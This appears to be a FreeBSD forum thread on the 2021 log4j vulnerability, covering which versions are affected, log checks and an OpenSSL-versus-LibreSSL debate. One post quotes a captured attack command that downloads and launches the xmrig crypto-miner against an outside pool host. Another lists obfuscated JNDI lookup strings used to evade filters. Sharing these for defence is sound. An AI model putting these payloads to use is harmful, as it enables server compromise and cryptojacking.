critical vulnerability in devel log4j

No, not in this case. The issue is only with the 2.x versions of log4j. The version in ports is an old one, still 1.x. That's not vulnerable.


www/apache24 is officially called Apache httpd. That has nothing to do with this. Apache creates more software besides httpd.

That said, the vulnerable log4j 2.x version could be embedded in some application without you being aware of it. The software must be Java (that log4j is a Java class) though.
Thanks for the clarifications. I just thought Apache = httpd.

I guess there could be some nastiness in hosted user directories. I'll check the logs.

Thanks much!
 
I see some of those "jndi:ldap" shenanigans in the logs. They look like singular tests without followups from the same IP.

At the risk of revealing that I really am not properly processing this issue properly...should I be concerned about any LDAP-related ports on my server?

I don't see evidence of specific Java apps on the server.
 
I see some of those "jndi:ldap" shenanigans in the logs. They look like singular tests without followups from the same IP.
Yes, there are hundreds of thousands of probes going on now.
At the risk of revealing that I really am not properly processing this issue properly...should I be concerned about any LDAP-related ports on my server?
You could block outgoing connections to LDAP, but changing the LDAP port in the attack URL is trivial.
I don't see evidence of specific Java apps on the server.
Do pkg(8) and ps(1) searches to make sure. You've got nothing to worry about if you're not running any Java applications or servers.
 
You could block outgoing connections to LDAP, but changing the LDAP port in the attack URL is trivial.
In this instance, I meant "port" as in "package". I have a couple of LDAP-related packages installed on the server.

But I don't see any Java packages. A couple JavaScript things, but I suppose those are not relevant.
 
Not the best week to be an admin....

A high/high classed vulnerability on OpenSSL, as if this log4j debacle wasn't enough to keep you busy. I need some sleep too for crying out loud.


Edit: Pfew. Seems to be an older one. But got upgraded to high/high today. Should already be fixed on FreeBSD: https://www.freebsd.org/security/advisories/FreeBSD-SA-21:07.openssl.asc
This is a tautology, but, I don't know why "we" still use openssl, rather than libressl. Yet, I do know why "we" don't because openssl keeps changing the API to stop Libressl's adoption. But maybe that's just the cynic in me.
 
Not the best week to be an admin....

A high/high classed vulnerability on OpenSSL
But 1.1.1m HAS been released - but I can't find a detailed changelog so not sure if a minor release or security-orientated.

Think it's minor:

Major changes between OpenSSL 1.1.1l and OpenSSL 1.1.1m [14 Dec 2021]​

  • None
 
This one was interesting, tried to do a reverse shell. If you connected to the IP and port with nc(1) you received this:
Code:
uname -a;killall -9 xmrig;cd /tmp; wget https://github.com/xmrig/xmrig/releases/download/v6.5.3/xmrig-6.5.3-linux-static-x64.tar.gz;tar -xzvf xmrig-6.5.3-linux-static-x64.tar.gz;cd xmrig-6.5.3;rm -rf config.json;./xmrig --donate-level 1 -o bernais.axfor.com:80 -u jav2 -p jav2 -k -B
That xmrig is a crypto-miner.
 
Also watch out for obfuscation attempts, like ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:.... and ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://... and various other combinations.
 
This is a tautology, but, I don't know why "we" still use openssl, rather than libressl. Yet, I do know why "we" don't because openssl keeps changing the API to stop Libressl's adoption. But maybe that's just the cynic in me.
Because since the beginning LibreSSL was announced and promoted like used car dealers promote a 40 years old Beetle as a semi-new 911. Not everyone takes claims made by used car dealers at face value. Just in the case FreeBSD would switch to LibreSSL in base, I will then switch to OpenSSL in the ports.
 
New information shows that even log4j 1.x might be vulnerable to some issues. Not to the same extend as 2.x but still.


Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.

As log4j 1.2 has been EoL for 5+ years it'll probably be a good idea to remove it from the ports tree. Only two ports seem to depend on it (databases/mysql-connector-java51 and net-p2p/vuze), both will be impacted and will need to be updated or also removed.
 
Because since the beginning LibreSSL was announced and promoted like used car dealers promote a 40 years old Beetle as a semi-new 911. Not everyone takes claims made by used car dealers at face value. Just in the case FreeBSD would switch to LibreSSL in base, I will then switch to OpenSSL in the ports.
What are some specific problems in Libressl you take issue with?
 
What are some specific problems in Libressl you take issue with?
Like many of us, I followed the launch of LibreSSL in the press. For example this one:
"Our group removed half of the OpenSSL source tree in a week. It was discarded leftovers," de Raadt told Ars in an e-mail. "The Open Source model depends [on] people being able to read the code. It depends on clarity. That is not a clear code base, because their community does not appear to care about clarity. Obviously, when such cruft builds up, there is a cultural gap. I did not make this decision... in our larger development group, it made itself."
Well, sounds reasonable, until you take the time and have a look into the OpenSSL code yourself. I found it clean and organized, and I could very well read and understand the parts which I opened - of course I did not do my own code review of everything. Actually, Theo wouldn’t have been able to proudly bragging they’d removed half of the source tree, if OpenSSL would have been that a huge code chaos.

That said, my issue with LibreSSL is not a technical one, my issue with LibreSSL can be subsumed in one word „Unbelievable“.
 
Like many of us, I followed the launch of LibreSSL in the press. For example this one:

Well, sounds reasonable, until you take the time and have a look into the OpenSSL code yourself. I found it clean and organized, and I could very well read and understand the parts which I opened - of course I did not do my own code review of everything.
Theo is not the only talented hacker who found the Openssl code unpleasant:
View: https://www.youtube.com/watch?v=fwcl17Q0bpk&t=1703s

Keep in mind that talk was given three months before Heartbleed was allegedly discovered.

Actually, Theo wouldn’t have been able to proudly bragging they’d removed half of the source tree, if OpenSSL would have been that a huge code chaos.
Well it had support for big-endian i386 and amd64. Weird and obsolete stuff like OS/2 and Openvms. Hacks to work with ancient, obsolete compilers like Visual C 1.52c. And the crown jewel of obstreperous programming, a custom memory allocator that broke memory debugging tools like Valgrind. I have no trouble believing they removed 90k lines of code.

That said, my issue with LibreSSL is not a technical one, my issue with LibreSSL can be subsumed in one word „Unbelievable“.
And in any case, I trust results more than beliefs:
 
... And the crown jewel of obstreperous programming, a custom memory allocator that broke memory debugging tools like Valgrind. ...
For all my projects I user a custom wrapper to the systems memory allocator, because the system ones got its limit. For example you cannot easily tell free() to clean the memory before releasing it. This is of major importance in tools like OpenSSL, and if you want to make sure that everybody uses the deallocate() function wich does cleaning the memory before freeing, then building your own one is not that a bad of an idea.

Well, I choose the wrapper path, which besides said clean before release, adds fencing and integrity validation before release, and pointer zeroing after release, and takes the release of realloc() after fail to a really secure level, and on top of that a handy feature of counting the total memory allocations/deallocation in the course of the execution. And all my code in debug mode exits with the message „no memory leaked“. Or if there is a failure, then the amount of memory that was leaked is reported, and this becomes fixed then of course.

If you are working alone on small projects, then you can add all this security related features by employing sort of your own coding standards around malloc(), realloc() and free(), but I would not trust even myself to allways add the right steps in the right sequence, to achieve what is needed. Let alone a group of open source enthusiast adding their own design patterns to your projects.

So, yes the systems memory allocation routines are lacking important security features, and you either built a wrapper around it like I did, or you just build your own. Note, I am targeting FreeBSD and macOS only, so the wrapper path seemed to be more feasible for me. If you need to target a bunch of other OS’s as well, then perhaps it is really better to built your own memory allocator. Valgrind, phhh...
... I have no trouble believing they removed 90k lines of code. ...
I have no difficulties to believe this either. I don’t believe the Milkmaid's bill, alike 90k less code adds 90 times better security. I will stay with OpenSSL, that’s it.

Conclusions:
  • Who wants to use LibreSSL, please go ahead, I won’t have any objections against this, I even won’t argue.

  • I won’t even complain, if FreeBSD would switch to LibreSSL in the base, if they want to, please do it.

  • In order to install OpenSSL, I won’t need a port. For example, on macOS I simply run the respective Configure/make combo which comes with the OpenSSL sources.

  • I don’t have any problems with LibreSSL now and for sure I won’t have any in the future either.
 
How long has the OpenSSL codebase been around? Support for OS/2, OpenVMS, Visual C1.5c indicates "quite a long time". Anyone that has worked on software knows that once in a while, the code really should be gone over hard to see what can get thrown away. I find it difficult sometimes following a codebase that has sections of code wrapped by too many #ifdef #else #else #endif, so getting rid of things no longer needed is not a bad thing.
That's why we have tools like GIT, SVN, CVS or whatever you want to use.

Wrappers/custom memory allocators:
Most of the time they aren't needed, but sometimes they are. Libraries that allocate memory need to make sure it gets freed, even if it's just clearly documenting to the user "YOU MUST CALL THE DEALLOCATE ON THIS OBJECT". Of course getting users to read and follow the documentation is not a trivial task.
 
For all my projects I user a custom wrapper to the systems memory allocator... (snip a lot of valid reasons for using memory wrappers)
The Openssl wrapper didn't exist for any of those reasons. It was added because some malloc somewhere was "slow" at some point likely in the '90s.

Or if there is a failure, then the amount of memory that was leaked is reported, and this becomes fixed then of course.
Not only did the Openssl wrapper not do this, it made it impossible to use other tools to find this kind of problem.
 
Back
Top